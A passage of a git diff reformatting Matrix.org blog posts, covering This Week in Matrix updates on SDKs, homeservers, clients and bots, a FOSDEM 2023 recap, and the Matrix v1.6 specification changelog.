#matrix-social:matrix.org! +> > ![](/blog/img/UnqnHPDytfqboxfVTyxFqqji.png) +> > ![](/blog/img/EXAuWmKGcIKdrbZkQLiTYtxo.png) ### Cactus Comments ([website](https://cactus.chat)) @@ -174,46 +168,44 @@ Cactus Comments is a federated comment system for the web, based on the Matrix p ## Dept of VoIP 🤙 - - ### Element Call ([website](https://call.element.io)) Native Decentralised End-to-end Encrypted Group Calls in Matrix, as a standalone web app [MTRNord](https://matrix.to/#/@mtrnord:midnightthoughts.space) says -> # Matrix Call Multitrack recorder -> -> Resulting from some past discussion of how matrix live may be improved, I did open https://github.com/vector-im/element-call/issues/789 to support multitrack recordings of participants. +> #### Matrix Call Multitrack recorder +> +> Resulting from some past discussion of how matrix live may be improved, I did open to support multitrack recordings of participants. > However, it turns out this can quite easily be solved using a bot: -> -> Therefor https://git.nordgedanken.dev/mtrnord/matrix-call-multitrack-recorder has been created. This is an early alpha bot using matrix-nio which can participate in both legacy WebRTC matrix native calls and Element-Call style calls. +> +> Therefor has been created. This is an early alpha bot using matrix-nio which can participate in both legacy WebRTC matrix native calls and Element-Call style calls. > Its purpose is to record each stream of a user to either a WAV or mp4 file. -> +> > However, since this is very early, it should be noted there currently exist some UX issues and some features are missing. -> +> > Feel free to give it a try or just join the Room: [#matrix-call-multitrack-recorder:midnightthoughts.space](https://matrix.to/#/#matrix-call-multitrack-recorder:midnightthoughts.space) -> -> Many thanks to tulir for https://github.com/maubot/echortc which helped to get a basic MVP rather quickly. +> +> Many thanks to tulir for which helped to get a basic MVP rather quickly. ## Dept of SDKs and Frameworks 🧰 [td [m]](https://matrix.to/#/@techno-disaster:matrix.org) reports > ### [Dart matrix sdk](https://github.com/famedly/matrix-dart-sdk) -> +> > This week the team released [v0.16.0](https://pub.dev/packages/matrix/versions/0.16.0) -> -> -> This could sound more like a changelog, but we fixed a couple of voip issues last week and have been working actively on calls in general. -> -> +> +> +> This could sound more like a changelog, but we fixed a couple of voip issues last week and have been working actively on calls in general. +> +> > * upgrading 1:1 audio calls to video calls is in review stage. > * active speaker for group calls based on audioLevel is a thing in the sdk now. > * we finally merged the expires_ts move to devices part in the event which fixes group calls with element. > * attempt at fixing some glare cases > * rejecting own call when needed, sending all ice server urls, tweaks in group call code to all on onboarding pages (turn off cam/mic before joining calls), etc. -> +> > _Ittekimasu_ :3 ### Trixnity ([website](https://gitlab.com/trixnity/trixnity)) @@ -223,12 +215,14 @@ Multiplatform Kotlin SDK for Matrix [Benedict](https://matrix.to/#/@benedict:imbitbu.de) reports > Just again a new version of Trixnity (v3.3.0): -> +> > features: +> > * Support room upgrades. They are "invisible" so you don't need to do anything to support them, the timelines are just merged. > * add return value to `RoomService::sendMessage` to abort or retry sending messages easier. -> +> > bugfixes: +> > * Revert logging upgrade to stay compatible with logback-android > * Remove experimental `measureTime` because it causes issues with other kotlin version than 1.7.22 > * fix missing usage of syncResponseBufferSize in `getTimelineEventsFromNowOn`. @@ -240,27 +234,27 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [ben](https://matrix.to/#/@gnunicorn:matrix.org) says > ## [Matrix Rust SDK](https://github.com/matrix-org/matrix-rust-sdk) -> +> > The last two weeks have all been under the rising star of FOSDEM this weekend and presenting the latest cool sh… stuff on Element-X. As such, the team has been busy—like really busy—improving the existing API for Sliding Sync and Timeline, adding fixes, like [duplicate message prevention](https://github.com/matrix-org/matrix-rust-sdk/pull/1422), [various sliding sync internal fixes](https://github.com/matrix-org/matrix-rust-sdk/pull/1418), [timeline reset](https://github.com/matrix-org/matrix-rust-sdk/pull/1413), [fixes in the `VecDiff` generation](https://github.com/matrix-org/matrix-rust-sdk/pull/1396) or [proper retries on decryption errors](https://github.com/matrix-org/matrix-rust-sdk/pull/1412), and performance improvements, like [defer loading tracked users](https://github.com/matrix-org/matrix-rust-sdk/pull/1382) or [reducing the cold cache size and time](https://github.com/matrix-org/matrix-rust-sdk/pull/1441) and not the least adding [support for tracing via OpenTelemetry](https://github.com/matrix-org/matrix-rust-sdk/pull/1428). -> +> > Most profoundly sliding sync has been upgraded to the [latest JSON schema with named views](https://github.com/matrix-org/matrix-rust-sdk/pull/1399) giving the team time to test that before shipping it to a wider audience post FOSDEM. In spirit of that, a first version of the [sqlite-based crypto-store has also been merged](https://github.com/matrix-org/matrix-rust-sdk/pull/1390). -> -> -> 👉 Wanna hack on matrix rust? Go check out our [`help wanted` tagged issues](https://github.com/matrix-org/matrix-rust-sdk/issues?q=is%3Aissue+is%3Aopen+label%3A%22help+wanted%22) and join our matrix channel at Matrix Rust SDK. +> +> +> 👉 Wanna hack on matrix rust? Go check out our [`help wanted` tagged issues](https://github.com/matrix-org/matrix-rust-sdk/issues?q=is%3Aissue+is%3Aopen+label%3A%22help+wanted%22) and join our matrix channel at Matrix Rust SDK. ## Dept of Bots 🤖 [HER0](https://matrix.to/#/@HER0:matrix.org) reports -> # [flip-matrix-bot](https://gitlab.com/FriendlyLinuxPlayers/flip-matrix-bot) -> +> ### [flip-matrix-bot](https://gitlab.com/FriendlyLinuxPlayers/flip-matrix-bot) +> > The bot now publishes a iCalendar feed with all of the scheduled gaming events for the Friendly Linux Players community. Subscribe to events with your favorite calendar application here: > [webcal://flip.earth/feed/events.ics](webcal://flip.earth/feed/events.ics) [msirringhaus](https://matrix.to/#/@msirringhaus:mozilla.org) announces > A few years ago, I've written a small bot-api in Rust that used (and still uses) Fractals Matrix-implementation. Since that has been abandoned _quite_ a while ago, I wanted to look into porting my crate to the matrix-rust-sdk. As it turns out, there wouldn't really be any point in doing so. The SDK can be used more or less directly. Which I've learned, by writing a small [demo-bot](https://github.com/msirringhaus/matrix_exif_bot). -> +> > This rather simple bot parses the exif-data of pictures that are posted, extracts the GPS-data (if available) and replies with a Matrix location-event for the image location. The plan was to do this with threads, but the SDK sadly doesn't support those. So good old replies it is. > As a bonus, which turned out to be uglier than I thought, it'll also remove it's location-posts automatically, if the corresponding image gets removed. > Configurable autojoin on invite and a command to leave are implemented as well. diff --git a/content/blog/2023/02/2023-02-09-finally-a-hybrid-conference-that-worked.md b/content/blog/2023/02/2023-02-09-finally-a-hybrid-conference-that-worked.md index 1af3f2d6f..4c50f5cd0 100644 --- a/content/blog/2023/02/2023-02-09-finally-a-hybrid-conference-that-worked.md +++ b/content/blog/2023/02/2023-02-09-finally-a-hybrid-conference-that-worked.md @@ -31,7 +31,7 @@ but could attend FOSDEM online from its Matrix Space. Devrooms were broadcasted live into the Matrix rooms where devroom managers and speakers could interact with the online audience. -In total, thousands of users joined us online, both locally and remotely as +In total, thousands of users joined us online, both locally and remotely as seen from the FOSDEM homeserver: an amazing audience given the possibility to be on site. @@ -66,7 +66,6 @@ beyond instant messaging {{ youtube_player(video_id="P--LwIB3deA") }} - Then Matthew did an awesome demo of Third Room and “3D widgets” (user generated content) that can be embedded into its worlds. Of course with a nice “The Matrix in Matrix” scene. @@ -127,6 +126,7 @@ meet there. The least we can say is that our stand was busy. We ran out of stickers and medium size t-shirts early on Sunday morning, but above all we had plenty of interesting discussions. + ![](/blog/img/fosdem2023_stand_blurred.jpg) A few people discovered Matrix during FOSDEM and were blown away by messages diff --git a/content/blog/2023/02/2023-02-10-this-week-in-matrix-2023-02-10.md b/content/blog/2023/02/2023-02-10-this-week-in-matrix-2023-02-10.md index f78b63409..d2a1809e8 100644 --- a/content/blog/2023/02/2023-02-10-this-week-in-matrix-2023-02-10.md +++ b/content/blog/2023/02/2023-02-10-this-week-in-matrix-2023-02-10.md @@ -53,12 +53,12 @@ image = "https://matrix.org/blog/img/rAgBabTmwQhtxzRrtuIrOFvR.jpg" > This MSC is relatively simple; proposing a method for widgets to ask the client for additional capabilities after it has already been initialised. Doing so allows for increased security and privacy workflows, as the widget need only ask for access to certain pieces of data at the point that it needs it (rather than all up front). > > A similar transition of permission granting happened in mobile devices and apps. Initially mobile apps would ask for all permissions they would need up front - which users would blindly accept. These days, mobile OS's have shifted to a model where individual permissions are requested upon attempting to complete an action in an app. This way, users have better context on the reason for the permissions request. (Oddly, browsers have yet to reach this stage with extensions - those still ask for all permissions up front.) -> +> > Do check out the proposal and its technical details if widgets are your thing! -## Dept of *Status of Matrix* 🌡️ +## Dept of _Status of Matrix_ 🌡️ [Thib](https://matrix.to/#/@thib:ergaster.org) announces @@ -66,7 +66,7 @@ image = "https://matrix.org/blog/img/rAgBabTmwQhtxzRrtuIrOFvR.jpg" [Matthew](https://matrix.to/#/@matthew:matrix.org) says -> The UK Online Safety Bill is shaping up to be a catastrophic piece of legislation, mandating clientside scanning of end-to-end-encrypted communication to attempt to intercept CSAM (child sexual abuse material). By adding the requirement for a scanner which executes ambiguous rulesets to submit encrypted content to the authorities, it would massively undermine the security of encryption: you simply wouldn't be able to trust whether content stays encrypted, or the rules used to scan it and submit it to the authorities. We wrote about it at https://element.io/blog/the-online-safety-bill-an-attack-on-encryption/ to try to sound the alarm before it's too late. +> The UK Online Safety Bill is shaping up to be a catastrophic piece of legislation, mandating clientside scanning of end-to-end-encrypted communication to attempt to intercept CSAM (child sexual abuse material). By adding the requirement for a scanner which executes ambiguous rulesets to submit encrypted content to the authorities, it would massively undermine the security of encryption: you simply wouldn't be able to trust whether content stays encrypted, or the rules used to scan it and submit it to the authorities. We wrote about it at to try to sound the alarm before it's too late. ## Dept of Servers 🏢 @@ -77,12 +77,12 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Shay](https://matrix.to/#/@shayshay:matrix.org) reports > It's Friday again (how did that happen??) which means another week has gone by and we here at Synapse have a new release for you. This week we released v1.77.0rc1, which features: -> -> * Improved performance when joining or sending an event in large rooms -> * Experimental support for [MSC3952](https://github.com/matrix-org/matrix-spec-proposals/pull/3952): intentional mentions -> * Fixed a bug introduced in Synapse 1.35.0 where the module API's `send_local_online_presence_to` would fail to send presence updates over federation -> * Improved performance of `/sync` in a few situations -> +> +> - Improved performance when joining or sending an event in large rooms +> - Experimental support for [MSC3952](https://github.com/matrix-org/matrix-spec-proposals/pull/3952): intentional mentions +> - Fixed a bug introduced in Synapse 1.35.0 where the module API's `send_local_online_presence_to` would fail to send presence updates over federation +> - Improved performance of `/sync` in a few situations +> > and much more. You can take a look at everything here in the [release notes](https://github.com/matrix-org/synapse/releases), and as always let us know if you run into problems with the rc by filing an issue [here](https://github.com/matrix-org/synapse/issues/new/choose). ### Dendrite ([website](https://github.com/matrix-org/dendrite)) @@ -92,21 +92,21 @@ Second generation Matrix homeserver [Till](https://matrix.to/#/@s7evink:matrix.org) announces > Today we've released Dendrite [0.11.1](https://github.com/matrix-org/dendrite/releases/tag/v0.11.1), this will be the **last** release to contain polylith and HTTP mode. Future releases are monolith only. -> +> > ### Features -> -> * Dendrite can now be compiled against Go 1.20 -> * Initial store and forward support has been added -> * A landing page showing that Dendrite is running has been added (contributed by [LukasLJL](https://github.com/LukasLJL)) -> +> +> - Dendrite can now be compiled against Go 1.20 +> - Initial store and forward support has been added +> - A landing page showing that Dendrite is running has been added (contributed by [LukasLJL](https://github.com/LukasLJL)) +> > ### Fixes -> -> * `/sync` is now using significantly less database round trips when using Postgres, resulting in faster initial syncs, allowing larger accounts to login again -> * Many under the hood pinecone improvements -> * Publishing rooms is now possible again -> +> +> - `/sync` is now using significantly less database round trips when using Postgres, resulting in faster initial syncs, allowing larger accounts to login again +> - Many under the hood pinecone improvements +> - Publishing rooms is now possible again +> > If you have a Dendrite homeserver, staying up-to-date is highly recommended so please upgrade when you can. Otherwise, if you want to play with Dendrite without having to set up your own infrastructure, the dendrite.matrix.org homeserver is open for registration (upon completion of a CAPTCHA, so you may need to register using Element Web). -> +> > As always, please feel free to join us in [#dendrite:matrix.org](https://matrix.to/#/#dendrite:matrix.org) for related discussion. ## Dept of Clients 📱 @@ -126,7 +126,8 @@ Hydrogen is a lightweight matrix client with legacy and mobile browser support [Bruno](https://matrix.to/#/@bwindels:matrix.org) announces > Released Hydrogen [0.3.7](https://github.com/vector-im/hydrogen-web/releases/tag/v0.3.7)! 🎺 This release adds experimental support for audio/video calls compatible with Element Call. We released it behind a feature flag (look in the settings to enable it) because some issues remain that we'll fix in the future. Happy to hear your feedback on how it is working for you, and please submit logs if you encounter any problems! -> +> +> > ![](/blog/img/reXDIlXtderWuQKbpDlAoVyl.png) ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -135,9 +136,9 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) announces -> * We promised to make stuck notifications a priority and so we have; The first [fix](https://github.com/matrix-org/matrix-js-sdk/pull/3139) for unclearable notifications in DMs has landed in matrix-js-sdk. 🚀 -> * We also managed to fix chronic issues around out-of-order resending of queued messages and soft crashes on the space panel 🙌 -> * Continued progress on improving our packaging progress across macOS, Windows and Linux to simplify future releases. +> - We promised to make stuck notifications a priority and so we have; The first [fix](https://github.com/matrix-org/matrix-js-sdk/pull/3139) for unclearable notifications in DMs has landed in matrix-js-sdk. 🚀 +> - We also managed to fix chronic issues around out-of-order resending of queued messages and soft crashes on the space panel 🙌 +> - Continued progress on improving our packaging progress across macOS, Windows and Linux to simplify future releases. ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -145,17 +146,17 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi [Ștefan](https://matrix.to/#/@stefan.ceriu:matrix.org) says -> * We’re working hard to release Element X to the general public but we’re not quite there yet. Hopefully we’ll have better news by this time next week -> * We have spent this week touching up on things that slipped through the cracks leading up to FOSDEM. We have: -> * Added automatic sliding sync proxy discovery -> * Improved blockquote rendering -> * Tweaked the message composer and improved room list skeletons -> * Fixed one annoying crash -> * Almost fixed all our forgotten UI tests -> * Refactored how we use build settings throughout the app -> * Fixed link detection -> * and more -> * Meanwhile in Element iOS, we’re continuing to improve polls, voice messages and the rich text editor +> - We’re working hard to release Element X to the general public but we’re not quite there yet. Hopefully we’ll have better news by this time next week +> - We have spent this week touching up on things that slipped through the cracks leading up to FOSDEM. We have: +> - Added automatic sliding sync proxy discovery +> - Improved blockquote rendering +> - Tweaked the message composer and improved room list skeletons +> - Fixed one annoying crash +> - Almost fixed all our forgotten UI tests +> - Refactored how we use build settings throughout the app +> - Fixed link detection +> - and more +> - Meanwhile in Element iOS, we’re continuing to improve polls, voice messages and the rich text editor ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -163,8 +164,8 @@ Secure and independent communication for Android, connected via Matrix. Come tal [benoit](https://matrix.to/#/@benoit.marty:matrix.org) says -> * Element Android 1.5.24 has been released to testers. Will be pushed to production next week. -> * On Element X Android, the team is working to set up the project properly, as more and more people will work on this fresh new codebase. We have made progress to setup code coverage metrics, which we want to be as high as possible, with a target of 80%. Also we are integrating the latest Rust SDK and we aim to get further dependency upgrades as smooth as possible. +> - Element Android 1.5.24 has been released to testers. Will be pushed to production next week. +> - On Element X Android, the team is working to set up the project properly, as more and more people will work on this fresh new codebase. We have made progress to setup code coverage metrics, which we want to be as high as possible, with a target of 80%. Also we are integrating the latest Rust SDK and we aim to get further dependency upgrades as smooth as possible. ## Dept of SDKs and Frameworks 🧰 @@ -173,10 +174,11 @@ Secure and independent communication for Android, connected via Matrix. Come tal [Bram](https://matrix.to/#/@bram:noordstar.me) reports > Although having lost a lot of popularity in the last few years, [Elm](https://elm-lang.org/) has a great performance and tiny asset size, which means great Matrix support for tiny browsers like on [KaiOS](https://www.kaiostech.com/) or for small-size projects and games that wish to use Matrix as a simple back-end. -> +> > I hope to release a version v1.0.0 in the near future, but I wanted to share my first breakthrough as I managed to write a simple program that sends message (and state) events in versions that the homeserver supports. See the image below! -> +> > Support will mostly be from spec version v1.2 and on, but some legacy endpoints will remain available. You can find the project on [GitHub](https://github.com/noordstar/elm-matrix-sdk) for now. Hopefully I'll have more to show you in the next few weeks! +> > ![](/blog/img/UfcRSQjWYCtonQhANupzzJFz.png) ### matrix-rust-sdk ([website](https://github.com/matrix-org/matrix-rust-sdk)) @@ -202,13 +204,13 @@ Matrix server setup using Ansible and Docker [Slavi](https://matrix.to/#/@slavi:devture.com) reports > Thanks to [FSG-Cat](https://github.com/FSG-Cat), the playbook can now install and configure the [Draupnir](https://github.com/Gnuxie/Draupnir) moderation tool (bot). Draupnir is a fork of [Mjolnir](https://github.com/matrix-org/mjolnir) (which the playbook [has supported](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook-bot-mjolnir.md) for a long time) maintained by Mjolnir's former lead developer. -> +> > Additional details are available in [Setting up Draupnir](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook-bot-draupnir.md). [Slavi](https://matrix.to/#/@slavi:devture.com) says > Thanks to [Jakob S.](https://github.com/jakicoll) ([zakk gGmbH](https://github.com/zakk-it)), [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy)'s Jitsi service can now optionally use Matrix for authentication (via [Matrix User Verification Service](https://github.com/matrix-org/matrix-user-verification-service)). -> +> > Additional details are available in the [Authenticate using Matrix OpenID (Auth-Type 'matrix')](https://github.com/spantaleev/matrix-docker-ansible-deploy/blob/master/docs/configuring-playbook-jitsi.md#authenticate-using-matrix-openid-auth-type-matrix). ## Dept of Services 🚀 @@ -218,15 +220,15 @@ Matrix server setup using Ansible and Docker [TravisR](https://matrix.to/#/@travis:t2l.io) says > Since 2017, [t2bot.io](https://t2bot.io/) has provided communities on Matrix bots and bridges to use for free, and while there’s no plan to charge for access, the cost of running the service is about $12k USD/year just to exist. -> +> > Since August 2020, t2bot.io’s primary source of funding has been from the Matrix.org Foundation, though with the Foundation’s latest focus on raising funds for itself, it feels like the right thing to do is get t2bot.io independently funded. -> +> > **If you are able, please donate to t2bot.io [here](https://t2bot.io/donations/).** All donations go towards the cost of operation, with any excess (if t2bot.io is so lucky…) going towards hiring developers to work on/build bridges as well as into the Foundation to thank them for keeping t2bot.io online all these years. -> +> > Currently, t2bot.io serves _86 thousand_ Discord and Telegram communities, bridging 325 thousand users _each month_, and _11.3 million_ users since 2017. There’s also 962 thousand rooms with a t2bot.io user in them, leaving only about 94 thousand rooms as archived, across 25 thousand different homeservers. -> +> > Operating at this scale requires, well, $12k USD per year: if you’re able, please consider donating. There’s also a question of whether t2bot.io should even be operating at this scale in the first place: Matrix is all about decentralization and owning your own conversations, which naturally means there should be many smaller bridges for communities or even a discord.com-provided bridge for everyone to use. For the time being though, t2bot.io is offered as a convenience and aims to adapt itself as needed to keep providing value. -> +> > Questions, concerns, etc are best discussed in [#help:t2bot.io](https://matrix.to/#/#help:t2bot.io) on Matrix. Nearly every detail of how t2bot.io works is intended to be shared openly, which includes the financial aspect of running the service, so ask away 🙂 ## Dept of Bots 🤖 @@ -236,19 +238,20 @@ Matrix server setup using Ansible and Docker [HER0](https://matrix.to/#/@HER0:matrix.org) reports > All of the parameters for upcoming gaming events can now be modified by the event host, using `!f events modify`! In addition, there is a new `!f information` command, which aims to provide useful details on specific topics (often directly related to the Friendly Linux Players community). -> +> > Outside of new features, I took some initial steps to make contributing easier: -> -> * Moved many potential future features or improvements from TODO comments/my brain to [the issue tracker](https://gitlab.com/FriendlyLinuxPlayers/flip-matrix-bot/-/issues/). -> * Labelled these issues, including a [good for new contributors](https://gitlab.com/FriendlyLinuxPlayers/flip-matrix-bot/-/issues/?label_name%5B%5D=good%20for%20new%20contributors) label, in the hopes that those with less experience or confidence can get more comfortable by taking small steps. -> * Created a dedicated Matrix room for discussing the bot: `#flip-matrix-bot:flip.earth`. +> +> - Moved many potential future features or improvements from TODO comments/my brain to [the issue tracker](https://gitlab.com/FriendlyLinuxPlayers/flip-matrix-bot/-/issues/). +> - Labelled these issues, including a [good for new contributors](https://gitlab.com/FriendlyLinuxPlayers/flip-matrix-bot/-/issues/?label_name%5B%5D=good%20for%20new%20contributors) label, in the hopes that those with less experience or confidence can get more comfortable by taking small steps. +> - Created a dedicated Matrix room for discussing the bot: `#flip-matrix-bot:flip.earth`. ### whisper-matrix-plugin ([website](https://github.com/chatbot-smooth/whisper-matrix-plugin)) [Alejandro Herrera](https://matrix.to/#/@bramenn:matrix.org) reports > A very simple bot that can join a matrix account and listen to audio messages and use OpenAI's Whisper to convert what you say into text. -> +> +> > ![](/blog/img/BigPtKwjsiwmNjfrDRDeXprf.png) ## Dept of Events and Talks 🗣️ @@ -262,30 +265,34 @@ Matrix server setup using Ansible and Docker [HarHarLinks](https://matrix.to/#/@kim:sosnowkadub.de) announces > #### [#fosdem23-community-meetup:matrix.org](https://matrix.to/#/#fosdem23-community-meetup:matrix.org) -> +> > Exactly one week ago, a good chunk of the community gathered in Brussels for the **Matrix Community Meetup/[BarCamp](https://en.wikipedia.org/wiki/BarCamp)** in the [fringe](https://fosdem.org/2023/fringe/) of FOSDEM. -> +> > While we expected the need for everyone to just meet and exchange their ideas, we still wanted to provide a framework for things to get going. > After a "quick" introductory round of everyone presenting themselves and their connection to Matrix, constantly expanding the circle around the table as more people kept pouring through the [pink gate](https://hsbxl.be/enter), we built a timetable of topics from the introduction using the [BarCamp Widget](https://github.com/nordeck/matrix-barcamp/tree/nic/env/fosdem-2023) developed and slightly modified for the physical BarCamp use case by Nordeck. -> +> +> > ![](/blog/img/hFUNxEWMiTLgMXRzZzWKfyRt.png) -> +> > Having this way to find people to discuss a topic was a great way to get started, and the discussions quickly took their own directions from there. Highlights included discussions about topics very dear to some people and finding others who are also interested, deep dives into the protocol, brainstorming, or even meeting random strangers on the (notoriously packed) tram to have technical discussions with. A lot of online friends connected, a lot of new friends were made, and even some old friends got to reconnect. It felt very familiar very quickly and leaving Ananace feeling "I've spoken to more friendly and passionate people this last week than I've done for the last six months, that's for certain." DMs were opened and master keys were cross signed thanks to IRL QR code scanning. Drinks were drunk, Pizza was eaten, and Swedish candy was appreciated to the fullest extent. The scenery only added to the real REAL hackerspace experience, having to ~~make a call~~ ping on Matrix to have someone open the gate to the "desolated courtyard, surrounded by crumbling buildings with broken windows" and a door literally labeled "A". -> +> +> > ![](/blog/img/gEbWzZPismbFPzXchQKboMca.jpg) +> > ![](/blog/img/rAgBabTmwQhtxzRrtuIrOFvR.jpg) +> > ![](/blog/img/WJRsulZGpzFNjdYzIlXpTtNs.jpg) +> > ![](/blog/img/bhckyLzjDBcrWqSIrwYIhYHH.jpg) -> +> > As the organisers, Yan and I (HarHarLinks) want to express our gratitude to the incredibly hospitable people from Hackerspace Brussels ([HSBXL](https://hsbxl.be)), especially [Jurgen](https://matrix.to/#/@jurgen_g:matrix.org) who helped a lot with prep in advance and [BeachyHead](https://matrix.to/#/@beachy:50m4.eu) who spent the whole day accommodating the sudden wave of arriving Matrix enthusiasts. Further, we would like to thank [Famedly](https://famedly.com) and [Nordeck](https://nordeck.net) who's generosity enabled us to provide free-as-in-beer food 🍕 and drinks 🍻 to everyone at the event through their financial support. -> +> > We are overjoyed by the incredible response by the community. Most of the people came there for a reason, and that was Matrix. And then they used the time to have some good time together. It was nice that we could help satisfy the huge demand for a get-together in the meat-space with this event. > We look forward to more physical meetups in the future (watch this space!). > Personally I had the best FOSDEM ever, and not just because it was my first one! 😉 -> +> > Don't miss the retro blog posts [by Sumner](https://sumnerevans.com/posts/travel/2023-fosdem/fosdem/) and about the [first physical Matrix Devroom on the Matrix.org blog](https://matrix.org/blog/2023/02/09/finally-a-hybrid-conference-that-worked). Also keep an eye out for upcoming further coverage about the meetup and the online devroom on [matrix.org/blog](https://matrix.org/blog)! - ## Dept of Interesting Projects 🛰️ ### matrix-social @@ -293,14 +300,15 @@ Matrix server setup using Ansible and Docker [imbev](https://matrix.to/#/@imbev:matrix.org) says > matrix-social is a social media client powered by Matrix. -> -> We're looking for a better name for this project. If anyone would like to contribute to a name, logo, or other branding for matrix-social, please let us know at https://codeberg.org/imbev/matrix-social/issues/3 or https://matrix.to/#/#matrix-social:matrix.org +> +> We're looking for a better name for this project. If anyone would like to contribute to a name, logo, or other branding for matrix-social, please let us know at or ## Dept of Ping Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -317,6 +325,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|viorsan.space|647| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/02/2023-02-14-matrix-v1-6-release.md b/content/blog/2023/02/2023-02-14-matrix-v1-6-release.md index d4ce805c2..7f235095f 100644 --- a/content/blog/2023/02/2023-02-14-matrix-v1-6-release.md +++ b/content/blog/2023/02/2023-02-14-matrix-v1-6-release.md @@ -22,40 +22,34 @@ We’ve covered a couple of the MSCs below, but read on to the full changelog fo ## MSC3030: Jump to date API -_It’s here! The time machine we’ve been waiting for! _ +_It’s here! The time machine we’ve been waiting for!_ Primarily part of the [Gitter feature parity project](https://github.com/vector-im/roadmap/issues/26) (congratulations to the team [going all-in on Matrix](https://blog.gitter.im/2023/02/13/gitter-has-fully-migrated-to-matrix/), by the way) to drive the [Matrix Public Archive](https://github.com/matrix-org/matrix-public-archive), the [new API](https://spec.matrix.org/v1.6/client-server-api/#get_matrixclientv1roomsroomidtimestamp_to_event) gives clients the ability to jump back in time to a nearby event. Being able to find something that was posted on a given day/week, but not being sure of which keywords to look for is a major usability improvement - many thanks to the Gitter team for making Matrix better! - ## MSC3706: Faster joins (part 1) + _Matrix is going voom_ [Synapse 1.76](https://matrix.org/blog/2023/01/31/synapse-1-76-released) enabled faster joins by default, and while there’s a lot of Python going into making joins as fast as possible, the specification side is a relatively small change at the moment: [just don’t send as many events during joins](https://spec.matrix.org/v1.6/server-server-api/#put_matrixfederationv2send_joinroomideventid) (`omit_members`). There’s potentially more work on the horizon for making faster joins even faster and more robust, and some of that might involve spec work: keep an eye on Synapse releases and [TWIM](https://matrix.org/blog/category/this-week-in-matrix) for updates as we make our way to faster joins in Matrix 2.0 :) - ## The full changelog MSCs are how the spec changes in the way it does - adding, fixing, and maintaining features for the whole ecosystem to use. Check out the full changelog below, and the [Spec Change Proposals](https://spec.matrix.org/proposals/) page for more information on how these MSCs got merged (hint: they submitted a proposal, which anyone can do - take a look at the [Matrix Live episode](https://www.youtube.com/watch?v=SFkZz60RRfc) where Matthew covers the proposal process). - ### Client-Server API - Backwards Compatible Changes - - Add information on standard error responses for unknown endpoints/methods, as per [MSC3743](https://github.com/matrix-org/matrix-spec-proposals/pull/3743). ([#1347](https://github.com/matrix-org/matrix-spec/issues/1347)) - Add `/rooms//timestamp_to_event` endpoint, as per [MSC3030](https://github.com/matrix-org/matrix-spec-proposals/pull/3030). ([#1366](https://github.com/matrix-org/matrix-spec/issues/1366)) - Define `hkdf-hmac-sha256.v2` MAC method for SAS verification, as per [MSC3783](https://github.com/matrix-org/matrix-spec-proposals/pull/3783). ([#1412](https://github.com/matrix-org/matrix-spec/issues/1412)) - Spec Clarifications - - Clarify the power levels integer range. ([#1169](https://github.com/matrix-org/matrix-spec/issues/1169), [#1355](https://github.com/matrix-org/matrix-spec/issues/1355)) - Clarify that `/context` always returns `event` even if `limit` is zero. Contributed by @sumnerevans at @beeper. ([#1239](https://github.com/matrix-org/matrix-spec/issues/1239)) - Clarify what fields are required when deleting a pusher ([#1321](https://github.com/matrix-org/matrix-spec/issues/1321)) @@ -69,93 +63,66 @@ MSCs are how the spec changes in the way it does - adding, fixing, and maintaini - Correct the order of the default override pushrules in the spec. ([#1421](https://github.com/matrix-org/matrix-spec/issues/1421)) - Improve distinction between tags and their attributes in the rich text section. Contributed by Nico. ([#1433](https://github.com/matrix-org/matrix-spec/issues/1433)) - ### Server-Server API - Breaking Changes - - Remove `keyId` from the server `/keys` endpoints, as per [MSC3938](https://github.com/matrix-org/matrix-spec-proposals/pull/3938). ([#1350](https://github.com/matrix-org/matrix-spec/issues/1350)) - Backwards Compatible Changes - - Add information on standard error responses for unknown endpoints/methods, as per [MSC3743](https://github.com/matrix-org/matrix-spec-proposals/pull/3743). ([#1347](https://github.com/matrix-org/matrix-spec/issues/1347)) - Add `/timestamp_to_event/` endpoint, as per [MSC3030](https://github.com/matrix-org/matrix-spec-proposals/pull/3030). ([#1366](https://github.com/matrix-org/matrix-spec/issues/1366)) - Extend `/_matrix/federation/v2/send_join` to allow omitting membership events, per [MSC3706](https://github.com/matrix-org/matrix-doc/pull/3706). ([#1393](https://github.com/matrix-org/matrix-spec/issues/1393), [#1398](https://github.com/matrix-org/matrix-spec/issues/1398)) - Note that `/_matrix/federation/v2/send_join` should include heroes for nameless rooms, even when allowed to omit membership events, per [MSC3943](https://github.com/matrix-org/matrix-doc/pull/3943). ([#1425](https://github.com/matrix-org/matrix-spec/issues/1425)) - Spec Clarifications - - Include examples inline instead of using a reference for invite endpoint definitions. ([#1349](https://github.com/matrix-org/matrix-spec/issues/1349)) - Fix `POST _matrix/federation/v1/user/keys/claim` response schema. ([#1351](https://github.com/matrix-org/matrix-spec/issues/1351)) - Correct the default invite level definition in the "Checks performed on receipt of a PDU" section. ([#1371](https://github.com/matrix-org/matrix-spec/issues/1371)) - Clarify that CNAMEs are permissible for server names. ([#1376](https://github.com/matrix-org/matrix-spec/issues/1376)) - Fix `edu_type` in EDU examples. ([#1383](https://github.com/matrix-org/matrix-spec/issues/1383)) - ### Application Service API - Backwards Compatible Changes - - Add information on standard error responses for unknown 